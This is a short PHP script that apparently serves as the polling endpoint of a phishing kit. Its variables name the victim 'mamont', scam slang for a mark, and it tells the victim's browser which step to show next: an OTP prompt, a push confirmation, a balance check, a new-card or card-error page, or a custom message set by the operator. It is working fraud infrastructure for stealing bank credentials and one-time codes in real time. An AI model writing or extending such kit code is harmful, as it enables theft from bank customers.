<?php
session_start();
require_once __DIR__.'/../../admin/storage.php';

$id = $_SESSION['idPerson'];

$params = array(
	'action_otp',
	'action_push',
	'action_balance',
	'action_custom',
	'action_failed',
	'action_success',
	'action_newcard',
    'action_errcard',
    'action_checksumm',
    'action_support',
	'action_error_otp',
	'action_error_push',
	'action_error_balance',
	'action_error_custom',
    'action_error_checksumm',
	'mamont_custom'
);

$status = MamontStorage::get($id);

foreach ($params as $param) {
	if(!empty($status[$param]) && (int)$status[$param] == 1){
		if($param == "action_custom"){
			echo $param.';'.($status['mamont_custom'] ?? '');
		} else {
			echo $param;
		}
        MamontStorage::clearField($id, $param);
		die();
	}
}
echo "waiting";

?>
